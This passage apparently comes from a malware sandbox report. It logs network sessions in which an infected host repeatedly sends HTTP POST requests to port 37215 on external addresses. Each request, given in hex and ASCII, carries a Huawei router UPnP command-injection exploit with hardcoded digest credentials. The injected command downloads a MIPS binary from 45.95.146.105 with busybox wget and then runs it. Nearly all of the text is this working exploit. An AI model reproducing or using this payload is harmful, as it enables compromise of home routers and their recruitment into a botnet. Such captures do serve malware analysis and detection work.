xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:53.136485100 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.23	41874	94.123.37.238	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:50.565664053 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:52.029006958 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:53.720818996 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:57.084222078 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:03.991312981 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:17.557442904 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:44.945631027 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.23	60224	156.253.41.44	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:52.197101116 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
